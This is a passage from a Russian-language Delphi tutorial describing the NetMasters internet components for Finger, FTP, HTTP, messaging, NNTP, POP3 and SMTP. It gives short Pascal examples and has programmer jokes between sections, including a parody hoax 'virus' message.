Для того, чтобы получить информацию о пользователе, помещаемую в свойство FingerStr, вам нужно в свойстве Host указать имя сервера Finger. Обычно свойство Port не нужно определять, поскольку большинство рассматриваемых серверов используют 79-ый порт. И, конечно, вам нужно указать интересующее вас имя пользователя в свойстве User. Иногда эта служба используется для получения некоторой информации, например, о спорте, погоде. Обратившись по такому адресу, вы найдёте в свойстве FingerStr рассылаемую информацию.
Пример:
По нажатию на кнопку напишите такой код:
NMFinger1.User:=Edit2.Text; NMFinger1.Host:=Edit1.Text; Memo1.Text:=NMFinger1.FingerStr; |
Ну вот, казалось бы и всё, но чтобы программа уведомляла вас о каждом событии нужно вынести StatusBar, в свойстве Panels создать 1 панель. И описать все события компонента TNMFinger примерно так:
procedure TForm1.NMFinger1Connect(Sender: TObject); begin StatusBar1.Panels[0].Text:='Подключились'; end; procedure TForm1.NMFinger1ConnectionFailed(Sender: TObject); begin StatusBar1.Panels[0].Text:='Невозможно установить соединение'; end; procedure TForm1.NMFinger1Disconnect(Sender: TObject); begin StatusBar1.Panels[0].Text:='Отсоединились'; end; procedure TForm1.NMFinger1HostResolved(Sender: TComponent); begin StatusBar1.Panels[0].Text:='Host найден'; end; procedure TForm1.NMFinger1InvalidHost(var Handled: Boolean); begin StatusBar1.Panels[0].Text:='Host указан неверно'; end; procedure TForm1.NMFinger1Status(Sender: TComponent; Status: string); begin StatusBar1.Panels[0].Text:=Status; end; |
Компонент TNMFTP.
| Сидит Дрим перед компом, занимается аутотренингом: - Я не войду в Интернет, я не войду в Интернет, я не войду в Интернет... Срывается, стучит что-то на клавиатуре. На дисплее появляется: "Delphi World". Дрим: - Это не я... Это не я... |
Компонент TNMFTP предназначен для обмена файлами между сервером FTP и клиентской машиной по протоколу FTP. FTP является одной из старейших и заслуженных служб интернета.
Она существовала тогда, когда ещё не было WWW и предоставляла удобный по тем временам сервис для обмена файлами и организации различных архивов документов и программ. Сейчас получить доступ к серверу FTP можно непосредственно из браузера WWW, так что клиентские программы для работы с сервером FTP уже не так актуальны. Мы рассмотрим пример с этим компонентом, поскольку такая программа может потребоваться для работы с корпоративным FTP-сервером, где доступ разграничен и требуется пройти идентификацию для доступа к файловому архиву.
Перед использованием компонента TNMFTP для обмена файлами с удалённым компьютером вам нужно подключиться к серверу FTP. Для этого вы должны определить свойства Host и Port значениями, соответствующими нужному серверу FTP. Затем задайте в свойствах UserID и Password необходимые имя пользователя и пароль. Многие публичные серверы FTP принимают значение Anonymous в качестве имени пользователя и в качестве пароля ваш e-mail или строку, напоминающую e-mail, например, user@mycomputer.com, главное, чтобы в этой строке присутствовал символ собачки "@". Таких анонимных серверов в интернет довольно много и используются они как публичные архивы программ и документов. После определения свойств UserID и Password вызывайте метод Connect для установки связи с сервером.
Компонент TNMFTP имеет следующие основные свойства:
CurrentDir FTPDirectoryList OnListItem ParseList Password UserID VendorСпецифических методов у этого компонента немного больше:
Allocate ChangeDir Delete DoCommand Download DownloadRestore List MakeDirectory Mode Nlist Reinitialize RemoveDir Rename Upload UploadAppend UploadRestore UploadUniqueОстальные свойства и методы этого компонента наследуются. Ниже мы разберём основные возможности этого компонента и разберём перечисленные свойства и методы.
Если метод компонента TNMFTP завершается успешно, то генерируется событие OnSuccess, в противном случае возникает событие OnFailture. В обоих случаях через параметр Trans_Type обработчиков этих событий передаётся имя команды типа TCmdType. Этот параметр может принимать следующие значения:
cmdChangeDir cmdMakeDir cmdDelete cmdRemoveDir cmdList cmdRename cmdUpRestore cmdDownRestore cmdDownload cmdUpload cmdAppend cmdReInit cmdAllocate cmdNlist cmdDoCommand cmdCurrentDirДумаю, имя метода, к которому относится данное значение определить не трудно.
Определение содержимого каталога на удалённом компьютере:
Если вы уже подключены к серверу, вы можете получить список файлов файлов и каталогов текущего каталога при помощи метода List и обработчика события OnListItem, которое вызывается для каждого элемента списка. Вы можете обрабатывать каждый элемент каталога в обработчике этого события. или включить режим разбора строк элементов каталога, установив свойство ParseList в true. В последнем случае компонент разберёт полученные данные и поместит имена, размеры файлов атрибуты, время последнего изменения в составное свойство FTPDirectoryList. Каждый элемент этого свойства представляет собой объект типа TStringList. Для указанных элементов списка содержимого каталога эти объекты имеют имена Name[i], Size[i], ModifDate[i], Attribute[i]. Если метод List завершается успешно, то происходит событие OnSuccess, в противном случае генерируется событие OnFailure. Метод NList представляет собой сокращённый вариант команды List и используется для получения только имён файлов и каталогов.
Изменение текущего каталога на удалённом компьютере:
Вы можете перейти на другой каталог сервера FTP, вызывая метод ChangeDir с именем нужного вам каталога, которое передаётся через параметр DirName. В DirName можно указывать полный путь или имя каталога относительно текущего каталога.
Загрузка файлов на удалённый компьютер:
Для загрузки файлов в текущий каталог на удалённом компьютере используем метод Upload. Метод использует 2 параметра: имя файла на локальном компьютере и имя, под которым он будет сохраняться на удалённом [LocalFile, RemoteFile]. Нужно заметить, что для выполнения данной операции у вас должны быть соответствующие права на удалённом компьютере. Обычно серверы FTP предоставляют такие права в каталоге incoming. В том случае, если на сервере уже есть файл с тем же именем, с которым вы хотите создать новый, - этот файл будет перезаписан. Избежать этого эффекта можно, если использовать метод UploadUnique. Единственный параметр LocalFile этого метода определяет имя файла на локальном компьютере и использует его для создаваемого файла на сервере. Если на сервере файл с таким именем уже существует, то передаваемый файл будет создан с уникальным именем. Метод UploadRestore хорош тем, что он позволяет восстановить прерванный в предыдущем сеансе процесс загрузки файла с места, в котором произошёл обрыв. Последний метод из этой серии UploadAppend позволяет дописывать содержимое локального файла в конец файла на сервере, если файл существует. Если на сервере такого файла нет, то файл создаётся заново. Два последних метода имеют 2 параметра LocalFile и RemoteFile.
Загрузка файлов с удалённого компьютера:
Перед загрузкой файлов с удалённого компьютера имеет смысл вызвать метод List и убедиться, что нужный вам файл имеется на удалённом компьютере. После этого можно вызвать метод по имени Download передав ему в качестве параметров имя загружаемого файла и имя файла и каталога на локальном компьютере: параметры RemoteFile и LocalFile. Нужно заметить, что загружать файлы из любого каталога FTP-сервера обычно не разрешается. Вы можете сделать это только из каталогов, открытых для этой операции. Если на вашем компьютере уже имеется файл с таким именем он будет перезаписан. На случай обрыва связи можно использовать метод DownloadRestore, который позволит продолжить загрузку с того места, на котором произошёл обрыв связи.
Создание каталога на удалённом компьютере:
Для выполнения этой операции у вас должны быть соответствующие права. Обычно на FTP-серверах эти права выделяются на каталог incoming. Для создания каталога достаточно вызвать метод MakeDirectory, передав ему в качестве параметра имя того каталога, который вы хотите создать.
Удаление файла или каталога на удалённом компьютере:
Файл удаляется методом Delete, а для удаления каталога применяется метод RemoveDir. Можно задавать имя файла или каталога внутри текущего каталога или указывать полный путь и имя удаляемого объекта.
Мы не упомянули ещё методы Allocate, DoCommand, Mode, Reinitialize и Rename. Первый метод выделяет место на FTP сервере под создаваемый файл. Как правило, этого делать не требуется, но если вам придётся работать с таким сервером, который требует выделения дисковой памяти перед закачкой на него файла, то этот метод может понадобится.
Метод DoCommand позволяет посылать команду FTP-серверу, который должен её выполнить. Имеется в виду команда операционной системы. Этот метод может вам понадобиться, если для выполнения вашей задачи методов компонента TNMFTP окажется недостаточно, либо если вам попадётся сервер с нестандартными командами.
Метод Rename используется для переименования файла в текущем каталоге на удалённой системе. Первый параметр FileName задаёт имя файла, который нужно переименовать, второй - FileName2 - новое имя для заданного файла.
Метод Mode задаёт режим приёма/передачи файлов. Используются 3 режима. Соответственно параметр TheMode может принимать соответствующие значения:
MODE_ASCII - передача текстовых данных MODE_IMAGE - двоичные данные с 8-битовыми байтами MODE_BYTE - двоичные данные с байтами переменной длиныМетод Reinitialize используется для восстановления прерванного соединения. После этого метода требуется зарегистрироваться, ввести имя пользователя и пароль.
Компонент TNMGeneralServer.
| Новая сказака про трёх медведей. Мишутка, глядя на нулевой баланс на счету у провайдера: - Кто юзал мой аккаунт и весь его выюзал?!!! |
Компонент TNMGENERALSERVER предлагается как базовый класс для создания на его основе многопотоковых серверов Интернет, специфических корпоративных серверов или других серверов, работающих со стандартами RFC.
Создавая классы-потомки компонента TNMGENERALSERVER и переписывая метод Serve, вы можете создавать специфические серверы, обрабатывающие запросы клиентов нужным вам образом. Обмен данными с клиентом должен выполняться методами read/write или ReadLn/WriteLn, унаследованными от TPowerSock.
Метод Serve является виртуальным методом, который должен переопределяться в классах-потомках. Метод Serve вызывается всякий раз, когда клиент подключается к серверу. Метод Serve исполняется в отдельном потоке, поэтому использовать объекты VCL и другие методы внутри него нельзя.
Компонент TNMHTTP.
| Страшный ICQ вирус. ВНИМАНИЕ! Вы только что получили САМЫЙ ПЕРВЫЙ!!!! САМЫЙ КРУТОЙ!!!! и САМЫЙ СТРАШНЫЙ!!!! ICQ-вирус!!! Я ужасно полиморфный, заразный и деструктивный, НО есть небольшая проблемка: 1. Мой автор вообще вирусы писать не умеет... 2. Не вирусы он тоже не умеет писать, у него по бэйсику тройка с натягом.. 3. Умные дяди говорят моему автору, что ICQ-вирус вообще невозможен... 4. Но ему 16 лет, у него переходный возраст и потому плевал он на умных дядей! Поэтому ОЧЕНЬ Вас прошу сделать следующее: 1) Разослать меня кому только можно; 2) Стереть на своем компьютере папки WINDOWS и Мои Документы. Заранее спасибо! Искренне Ваш - СТРАШНЫЙ ICQ-вирус! |
Компонент TNMHTTP используется для передачи гипертекста через WWW или интранет по протоколу HTTP. Компонент поддерживает версию протокола HTTP1.1.
Вы можете использовать соответствующие методы для работы с документами. Компонент имеет 7 методов: Get, Head, Options, Trace, Put, Post, Delete.
Метод Get применятся для получения гипертекстовых документов с серверов World Wide Web. Запрашиваемый документ указывается в параметре URL. Дальнейшая судьба документа зависит от значения InputFileMode типа Boolean. Если свойству присвоено значение true, то заголовок документа и его тело помещаются в текстовый документ и HTTP файлы соответственно. Имена файлов для этого случая определяются свойствах Header и Body. Если свойство InputFileMode выставлено в false, то заголовок и тело документа размещаются непосредственно в свойствах Header и Body.
Метод Head аналогичен методу Get, но с его помощью можно загрузить только заголовок документа. Заголовок тем же образом может помещаться либо в файл, либо в свойство Header.
Методы Post и Put выполняют обратную задачу - публикацию документов в WWW. Метод Post позволяет дописать данные в соответствующий документ на сервере. Метод Put создаёт новый документ на сервере. Эти методы имеют 2 параметра. Первый из них - это параметр с именем URL, в котором указывается имя документа на WEB-сервере. Второй параметр типа string по имени PostData у метода Post и PutData у метода Put используется для задания публикуемых данных. Данные передаются непосредственно через этот строковый параметр, если свойство OutputFileMode имеет значение false. Если этому свойству присвоить значение true, тогда во втором параметре указываются путь и имя файла, в котором размещаются данные для публикации. Нужно заметить, что для того чтобы опубликовать данные на сервере WEB, у вас должны быть соответствующие права. Как и права на удаление файла если вы используете метод Delete, с помощью которого можно удалять документы на удалённом сервере.
Метод Abort прерывает выполнения транзакции.
Оставшиеся 2 метода предоставляют дополнительные возможности. Метод Trace применяется при отладке. Метод использует указанный а первом параметре ресурс для отображения отладочных данных, передаваемых во втором параметре TraceData. Данные передаются через этот параметр уже известным способом в зависимости от значения свойства OutputFileMode.
И последний метод - метод Options позволяет получить справочную информацию о запрашиваемом ресурсе и командах [методах], разрешённых на данном сервере. Выполнить все методы на большинстве серверов вам не удастся. Обычно вам разрешают использовать метода Get, Head, Options, Trace.
Компонент имеет свойства Port и Host, которые здесь излишни, поскольку эта информация задаётся через параметр URL методов этого компонента. Свойствам InputFileMode и OutputFileMode присваивается по умолчанию значение false. В составном свойстве HeaderInfo имеются свойства UserID и Password, необходимые в том случае, если вам нужно публиковать данные на WEB-сервере. Понятно, что в этом случае вам потребуются соответствующие права доступа, и, значит, регистрация на сервере под некоторым именем, после ввода которого придётся указать и пароль. Ещё вам могут понадобиться свойства BytesRecvd, BytesSent и BytesTotal, которые указывают число принятых байтов, отправленных данных и общее число передаваемых байтов.
Компоненты TNMMsg и TNMMsgSer.
Эти компоненты обмениваются простыми текстовыми сообщениями в кодах ASCII по Интернет или Интранет с использованием протокола TCP/IP. Вы можете использовать их для создания чата или или для программы переговоров в локальной сети.
На компьютере, куда будут посылаться сообщения, должен быть запущен TNMMsgServ. Для того, чтобы компонент TNMMsg смог отправить сообщение, вам нужно в свойстве Host указать удалённый компьютер, на котором находится серверная часть приложения. Это может быть имя или IP-адрес. Кроме этого значение свойства Port компонента TNMMsg должно соответствовать значению этого же свойства компонента TNMMsgServ. Стандартный порт, который слушает этот компонент, имеет номер 6711. В свойстве FromName укажите имя своего компьютера, чтобы получатель мог знать от кого получено сообщение. После определения этих свойств, вы можете отправить сообщение, вызвав метод PostIt. Если метод выполняется успешно генерируется событие OnMessageSent. У этого компонента только 1 свой метод - остальные наследуются. Свойство FromName - тоже единственное своё.
Компонент TNMMsgServ предназначен для получения сообщений, отправленных компонентом TNMMsg. У него нет своих свойств и методов, только унаследованные. Главное событие серверного компонента - OnMsg. возникает оно при получении сообщения, текст которого передаётся обработчику события через параметр sMsg. Другой параметр этого обработчика sFrom содержит имя отправителя.
Пример:
По нажатию на кнопку напишите следующий код:
NMMsg1.FromName:=Edit2.Text; NMMsg1.Host:=Edit3.Text; NMMsg1.PostIt(Edit1.Text); |
Для компонента TNMMsgServ событие OnMsg опишите так:
Memo1.Lines.Add('Получено сообщение от '+sFrom);
Memo2.Lines.Add('['+sFrom+'] '+sMsg);
|
Здесь Memo1 используется для ведения протокола, а в Memo2 будут отображаться сообщения в формате "[отправитель] сообщение".
Для компонента TNMMsg опишите событие OnMessageSent:
Memo1.Lines.Add('Отправлено сообщение от '+DateTimeToStr(Now));
|
В этом обработчике будет отслеживаться дата и время отправления сообщения.
Компонент TNMNNTP.
| Программер читает по аське: "Юзер покинул этот мир, т.к. у него закончились деньги, и провайдер закрыл счет. |
Компонент TNMNNTP используется для чтения и публикации сообщений в телеконференциях Интернет [NetNews, NewGroups] в соответствии с протоколом NNTP [Network News Transfer Protocol]. Протолок описан в стандарте RFC 977.
Наряду с электронной почтой и серверами FTP телеконференции являются классическим сервисов Интернет. Ветераны Интернет продолжают пользоваться им весьма активно, но новые пользователи, в ввиду засилья WWW, знают этот сервис плохо, хотя работу с новостями поддерживают не только специальные программы, но и Microsoft Outlook Express и Netscape Navigator. Телеконференции имеют иерархическую структуру. Название конференции состоит из нескольких слов, разделённых точками. Чтобы получить доступ к этому сервису, вам нужно подключиться к одному из серверов новостей. Обычно поставщики услуг Интернет наряду с электронной почтой предоставляют доступ к своему серверу новостей. Если у вашего провайдера нет своего сервера, то вам придётся найти его с помощь поисковых систем Интернет. В отличии WWW, для доступа к которой не требуется использование какого-то специфического сервера, с электронными новостями нужно работать именно так- через сервер. Подключившись к серверу, вы должны сначала загрузить полный список конференций, который он поддерживает. Сервер, к которому вы подключитесь, возможно, будет иметь не полный список, а какой-то ограниченный набор телеконференций Интернет. После этого вам нужно подписаться на какое-то количество конференций и загрузить из них заголовки сообщений. Ваша подписка будет сохраняться на все последующие сеансы связи, пока вы не откажитесь от неё. Размещение сообщений в конференции часто называется публикацией [posting], а само сообщение называется словом статья [article].
Итак, прежде чем начинать работу с сервером новостей, вам нужно подключиться к одному из серверов. Это можно сделать, задав нужное имя сервера новостей в свойстве Host и вызвав метод Connect, который подключит вас к выбранному серверу. После этого вам нужно получить список групп новостей этого сервера. Для этой цели вызывается метод GetGroupList, который помещает полученный список в свойство GroupList. После этого нужно выбрать одну из групп новостей, в которой вы будете просматривать сообщения. Для этого вызывается метод SetGroup, которому к качестве параметра передаётся имя выбранной вами группы новостей. Чтение статей в выбранной группе новостей осуществляется при помощи метода GetArticle. Но перед этим нужно загрузить список сообщений из группы методом GetArticleList. После этого для каждой интересующей вас статьи нужно вызывать метод GetArticle, который будет помещать в свойство Body текст статьи, а в свойство Header - заголовок выбранной статьи.
Для того, чтобы отправить статью в группу новостей сначала нужно заполнить свойство PostBody текстом сообщения, в свойстве PostHeader разместить заголовок сообщения, а после этого вызвать метод PostArticle.
После обсуждения порядка работы с компонентом поговорим о его свойствах, методах и событиях. Основными свойствами являются следующие свойства:
GroupList SelectedGroup Body Header CurrentArticle HiMessage LoMessage PostBody PostHeaderВ свойстве GroupList типа TStringList размещается список групп новостей выбранного сервера. Свойство заполняется в случае успешного вызова метода GetGroupList. После успешного вызова метода SetGroup в свойство SelectedGroup помещается имя выбранной группы. Метод GetArticleList имеет 2 параметра All типа boolean и ArticleNumber - целого типа. Если первый параметр выставляется в true, то считываются все статьи группы, в противном случае второй параметр задаёт номер сообщения с которого нужно начать загрузку. При загрузки очередной статьи происходит событие OnHeaderList. В свойство CurrentArticle помещается номер текущей статьи. Это свойство получает значение после вызова одного из методов GetArticle, GetArticleBody или GetArticleHeader. Можно сказать, что в это свойство помещается номер той статьи, текст и заголовок которой находятся в свойствах Body и Header. В свойствах HiMessage и LoMessage прописываются максимальный и минимальный номера сообщений, доступных в выбранной группе. В свойства PostBody и PostHeader помещают тело и заголовок отправляемого в группу сообщения. Возможность или невозможность публикации сообщения в выбранной группе определяется значением свойства Posting. типа boolean. Среди свойств компонента имеются составные свойства HeaderRecord и PostHeader, куда записываются тема сообщения электронный адрес отправителя и электронный адрес для ответа, имя группы или групп, в которых опубликовано данное сообщение, время и дата публикации и другие данные. В первом свойстве размещаются данные полученного сообщения, а во втором - отправляемого. В технологии электронных новостей, как и в электронной почте, применяется присоединение или вложение в сообщение одного или нескольких файлов. Свойства AttachFilePath, Attachments, PostAttachments и ParseAttachments служат для работы с вложенными файлами. Значение логического свойства ParseAttachments, равное true, задаёт режим разбора вложенных файлов, при котором файлы будут декодироваться. После этого они будут размещаться с имена, под которыми они перечислены в свойстве Attachments, в каталоге, заданном в свойстве AttachFilePath. Если в ParseAttachments записано false, то файлы просто остаются в теле сообщения. Если вы присоединяете к отправляемому сообщению некоторое количество файлов, то их имена перечисляются в свойстве PostAttachments. В случае если требуется регистрация пользователя на сервере новостей, в свойства UserID и Password помещаются имя пользователя и пароль.
Компонент TNMPOP3.
| Хакер трахается и думает: "Вот это и называется прямым кабельным соединением на высокой скорости!" |
Компонент TNMPOP3 применяется для получения электронных писем от POP3-сервера.
Вам может потребоваться этот компонент при написании программы для некоего корпоративного приложения, использующего свои, внутренние почтовые сервисы. Или вы можете написать программу под свои собственные нужды, которая собирала бы почту с нескольких почтовых серверов, сразу бы сортировала её и отбрасывала ненужный хлам и д.т.
Перед тем как получить электронную почту с помощью компонента TNMPOP3, вам нужно установить соединение с сервером POP3, на котором находится ваш почтовый ящик. Для этого нужно задать значение для свойства Host, в котором нужно указать имя почтового сервера или его IP-адрес. Вы должны задать так же имя пользователя и пароль в свойствах UserID и Password соответственно, открывающие вам доступ к вашему почтовому ящику. После этого вам нужно вызвать метод Connect, который и установит соединение.
Чтобы получить почту вам нужно вызвать метод GetMailMessage. Полученное сообщение будет попадать в свойство MailMessage.
Это был краткий обзор компонента. Сейчас мы обсудим детали по мере ознакомления со свойствами, методами и событиями этого компонента.
В свойстве MailCount этого компонента указывается число сообщений, находящихся в почтовом ящике пользователя на сервере. Это свойство получает значение после установки соединения с сервером. Свойству MailMessage присваивается значение после вызова метода GetMailMessage. В нём находятся все элементы полученного электронного сообщения. Эти элементы включают в себя свойства Attachments, Body, From, Head, MessageID и Subject. В первом помещаются имена вложенных файлов, во втором - текст сообщения, в третьем - адрес отправителя, в четвёртом - заголовок письма. В свойстве MessageID размещается уникальный идентификатор письма, а в свойстве Subject - тема письма.
Свойство Summary содержит краткую информацию об электронном сообщении. Это свойство изменяется после вызова метода GetSummary. В состав этого сложного свойства входят свойства: Bytes, From, Header, MessageID, Subject. Свойства этого составного свойства повторяют свойства из MailMessage, но в отличии от свойства MailMessage здесь не хватает свойств Attachments и Body и добавлено новое свойство Bytes - размер сообщения. Содержимое свойств MailMessage и Summary изменяется после каждого вызова метода GetMailMessage или GetSummary соответственно. Поэтому, если вы считываете несколько писем не забывайте обрабатывать полученные сообщения и только после этого переходите к следующему вызову метода GetMailMessage или GetSummary. В свойстве AttachFilePath вы можете задать каталог для размещения присоединённых к сообщению файлов. Если этого не сделать, то по умолчанию эти файлы будут сохраняться в том же каталоге, из которого запускалось приложение. Если каталог, указанный в свойстве AttachFilePath не существует, то присоединённые файлы будут сохраняться в текущем каталоге. Добавлять в конце пути символ "слэш" необязательно, если его не указали, то добавится автоматически. В зависимости от значения свойства DeleteOnRead прочитанные сообщения могут удалятся или оставаться в почтовом ящике на сервере. Сообщения удаляются после выполнения метода GetMailMessage, если свойство DeleteOnRead установлено в true. Если значение DeleteOnRead равно false, тогда сообщения остаются на сервере. По умолчанию сообщения не удаляются. Удаление сообщений происходит после завершения сеанса работы с сервером. Метод Reset позволяет снять метку на удаление, поэтому, пока сессия не окончена все удалённые методами DeleteOnRead и DeleteMailMessage сообщения можно "вернуть".
Для регистрации на сервере вам нужно задать значения свойствам UserID и Password. В свойстве Password указывается пароль, используемый для получения доступа к почтовому серверу. Если указан неверный пароль или имя пользователя, то в этом случае будет вызвано событие OnAuthenticationFailed, если пароль или имя пользователя не указаны вызывается событие OnAuthenticationNeeded.
Теперь обсудим методы этого компонента. Метод UniqueID возвращает идентификатор сообщения, указанного в параметре метода по номеру. Идентификатор представляет собой строковое уникальное значение, присваиваемое каждому письму почтовым сервером. Это значение помещается в свойство MessageID, являющееся частью составного свойства Summary типа TSummary. Параметр MailNumber изменяется от 1 до максимального значения, определяемого свойством MailCount.
Метод DeleteMailMessage удаляет указанное по номеру сообщение из почтового ящика на почтовом сервере. В случае возникновения ошибки возникает событие OnFailture и возбуждается исключительная ситуация. Если сообщение успешно помечается как удалённое, то происходит событие OnSuccess. Удалённое этим методом сообщение только помечаются как удалённые, реально они удаляются тогда, когда вы заканчиваете работу с почтовым сервером. А пока вы этого не сделали вы можете вызвать метод Reset, и все "удалённые" в данном сеансе связи сообщения опять станут доступными. Метод GetMailMessage извлекает указанное по своему номеру сообщение и помещает его в свойство MailMessage. Если при выполнении метода возникает ошибка, то возбуждается исключительная ситуация. Когда начинается процесс загрузки сообщения, наступает событие OnRetrieveStart. По окончании загрузки генерируется событие OnRetrieveEnd. Если сообщение благополучно получено происходит событие OnSuccess. Если свойство DeleteOnRead установлено в true, то метод GetMailMessage, кроме того, пометит на сервере полученное сообщение на удаление.
Метод GetSummary извлекает краткую информацию о письме и сохраняет её в свойстве Summary. Метод List получает список номеров и размеры сообщений. Для каждого сообщения в списке генерируется событие OnList, которому через параметры передаются номер сообщения и размер сообщения.
Нам осталось рассмотреть события данного компонента. Событие OnAuthenticationFailed происходит в случае, когда для работы с почтовым сервером требуется идентификация, в одном из свойств UserID или Password значение введено неверно. Если свойству Handled присвоить значение true, то попытка регистрации повторяется. Если в свойстве Handled прописано false [что является значением по умолчанию], то возбуждается исключительная ситуация, и соединение обрывается.
Событие OnDecodeStart возникает тогда, когда необходимо декодировать и запись на диск присоединённый к письму файл. В обработчике этого события имеется параметр FileName, определяющий имя присоединённого файла. Это имя можно изменить, если вы хотите сохранить файл под другим именем. Если в письме нет вложенных файлов, о событие не наступает. Добавлять путь к имени файла не следует, п.ч. путь указывается в свойстве AttachFilePath.
Событие OnList происходит в процессе работы метода List после получения номера и размера текущего сообщения в списке. Событие OnReset генерируется в случае успешного выполнения метода Reset и означает это тот факт, что со всех сообщений, помеченных в текущем сеансе на удаление, снята метка на удаление.
Событие OnRetrieveEnd происходит тогда, когда завершается загрузка письма или его резюме. Событие OnRetrieveStart генерируется когда начинается процесс загрузки сообщения. Эти события заменяют свои предыдущие версии, названные ошибочно OnRetriveEnd и OnRetriveStart. Эти предыдущие версии, тем не менее, доступны как Public, так что приложения, использующие их, будут работать.
Компонент TNMSMTP.
| Приходят в кунсткамеру Чайник, Квакер и програмёр. Видят: банка с заспиртованным двухголовым малышом. Чайник: - Прогрмма совершила недопустимую ошибку... Квакер: - Это просто монстр из квака, из которого полигоны вылезли! Програмёр: - Видать ошибка в коде. Тут видят, знакомый интернетчик идет. Спрашивают его: "чё это мол такое?". Интернетчик посмотрел-посмотрел, и говорит: - Ааа! Так это два жлоба одновременно и под одним логином подсоединились! |
Компонент TNMSMTP позволяет отправлять электронную почту через почтовый сервер Интернет или выполнить некоторые другие команды, описанные в стандарте RFC 821.
Этот компонент использует для отправки почты стандартный протокол SMTP [Simple Mail Transfer Protocol - простой протокол отправки почты]. Порт по умолчанию, используемый этим протоколом, - 25. Регистрация на многих SMTP-серверах при регистрации не требуется, соответственно вводить имя пользователя при работе с какими-то серверами не требуется. Для работы с компонентом необходимо установить соединение с сервером. Для этого нужно задать значение свойствам Host и Port и вызвать метод Connect. По окончании работы с сервером вызывается метод Disconnect, который завершает установленное ранее соединение.
Главное свойство этого компонента PostMessage. Именно в нём размещается вся информация отправляемого сообщения. Это свойство имеет много полей, но обязательными для заполнения являются только два поля: адрес получателя ToAddress типа TStringList и адрес отправителя FromAddress типа String. В поле получателя можно записать несколько адресов получателя. Сам текст письма помещается в свойство Body типа TStringList. В строковые поля Subject, FromName, Organization записываются тема письма, имя отправителя и название организации. Поле Attachments типа TStringList используется для указания списка вложенных файлов. Для отправки письма применяется метод SendMail. Перед этим нужно установить соединение, т.е. вызвать метод Connect.
Дополнительно к основной задачи отправки почты компонент имеет два метода, с помощью которых вы можете проверить существование на сервере пользователя с указанным именем и получить от сервера список адресов листа рассылки. Первый метод - метод Verify. Под именем пользователя понимается электронный адрес. Некоторым серверам достаточно указать только начальную часть адреса - до символа "@", для других нужно указать полный адрес. Если указанный адрес существует, функция Verify возвратит true, если не существует - false. Имя второго метода - ExpandList. После вызова этого метода генерируется событие OnMailListReturn, в обработчике которого вы можете обнаружить полученный список адресов.
Теперь рассмотрим свойства компонента. В свойстве ClearParams задаётся задаётся режим очистки или сохранения значений в свойстве PostMessage после того, как сообщение отправлено. Если свойству присвоено значение true, то после вызова метода SendMail поля свойства PostMessage очищаются. Если в свойстве ClearParams задано false, то значения, записанные в свойстве PostMessage, сохраняются. Значение по умолчанию - true. Свойство EncodeType определяет тип кодирования присоединяемых к письму файлов. Возможен выбор только из двух значений: uuMime если применяется метод MIME, и uuCode, которому соответствует метод UUEncode. По умолчанию используется метод MIME. В свойстве FinalHeader размещается окончательный вариант заголовка для приготовленного в отправке письма. Это свойство можно посмотреть или изменить с помощью события OnSentStart. В свойстве PostMessage записываются все необходимые элементы письма: адрес получателя[ToAddress] и отправителя[FromAddress], тема письма[Subject], присоединяемые файлы[Attachments], текст сообщения[Body], дата отправки сообщения[Date], имя отправителя[FromName], программа, отправляющая письмо[LacalProgram], адрес для ответа на отправляемое письмо[ReplyTo], адрес для копии[ToCarbonCopy] и для скрытой копии[ToBlindCarbonCopy].
В свойстве SubType определяется тип отсылаемого электронного сообщения. Например, если вы укажите в свойстве SubType значение mtHTML, то программа просмотра писем у получателя знать, что получила документ HTML , и будет пытаться адекватно работать с документом - не выводить теги HTML на экран как текст, а работать с ними как с управляющими последовательностями. Значение по умолчанию mtPlain. Свойство может принимать одно из следующих значений:
mtPlain - текст ASCII mtEnriched - текст в формате RTF mtSGML - документ в стандарте SGML mtTagSeperated - текст с символами табуляции в качестве разделитетей mtHTML - документ HTMLВ свойстве UserID задаётся имя пользователя для регистрации на сервере SMTP. Не все серверы проверяют UserID, но многие делают это. Если ваш сервер проверяет имя отправителя, а вы его не указали, то тогда будет генерироваться событие OnAuthenticationFailed.
Теперь перейдём к рассмотрению методов компонента
Метод ExpandList используется, когда нужно получить содержимое списка адресов на сервере SMTP. В параметре MailList задаётся имя интересующего вас списка. Когда сервер SMTP возвращает требуемый список, происходит событие OnMailListReturn.
Метод ExtractAddress выделяет адрес электронной почты из строки текста. Обычно этот метод используется для внутреннего употребления, хотя он имеет доступ Public и, соответственно, доступен всем. Строка передаётся через параметр, а выделенный адрес возвращается методом. Для выполнения метода ExtractAddress соединение с сервером SMTP не требуется.
Метод Verify используется для проверки существования пользователя на сервере SMTP.
Метод ClearParameters удаляет содержимое свойства PostMessage. При этом очищаются все поля за исключением Body. Для удаления самого сообщения необходимо вызвать метод PostMessage.Body.Clear. Если свойство ClearParams имеет значение true, то после каждого выполнения метода SendMail автоматически вызывается метод ClearParameters.
Метод SendMail выполняет отправку электронного письма, заданного в полях свойства PostMessage. После успешной отправки сообщения генерируется событие OnSuccess. Если при передачи сообщения на сервер произошла ошибка, происходит событие OnFailtureEvent.
Последними, как всегда, рассмотрим события компонента. Событие OnAttachmentNotFound генерируется, если не находится файл, который должен быть присоединён к отправляемому письму. Событие имеет параметр TFileItem, в котором указано имя отсутствующего файла. Событие OnEncodeEnd генерируется, когда присоединяемый к письму файл закодирован и приготовлен к отправке. Имя закодированного файла опять же передаётся через параметр TFileItem. Событие OnEncodeStart происходит перед началом кодирования присоединяемого к письму файла.
Событие OnHeaderIncomplete происходит, если остались незаполненными следующие свойства из свойства PostMessage: свойство FromAddress или ни одно из следующих свойств - ToAddress, ToCarbonCopy, ToBlindCarbonCopy. Событие относится к типу THeaderIncomplete, является модификацией типа THandlerEvent и в добавление к параметру Handled типа boolean имеет ещё один параметр целого типа hiType. Этот последний параметр указывает номер незаполненного поля и может принимать следующие значения:
hiFromAddress: не заполнено поле FromAddress hiToAddress: не заполнено ни одно из полей ToAddress, ToCarbonCopy или ToBlindCarbonCopyЕсли у параметра Handled значение true, то попытка отправить сообщение повторяется. Если и после второй попытки ни одно из требуемых полей ни одно из требуемых полей оказывается незаполненным, возбуждается исключительная ситуация, и сообщение не посылается, хотя работа с ним продолжается, и вы вновь можете попытаться его отправить.
Событие OnMailListReturn наступает когда метод ExpandList получает от почтового сервера список адресов. Список передаётся обработчику события через параметр.
Событие OnRecipientNotFound происходит если не найден один из получателей сообщения. Событие получает ошибочный адрес в качестве значения своего параметра.
Событие OnSendStart генерируется непосредственно перед отправкой электронного сообщения. Событие даёт последнюю возможность внести в письмо какие-либо изменения.
Событие OnSuccess генерируется после того как сообщение успешно доставлено. Если сообщение не доставлено, то в этом случае наступает событие OnFailture.
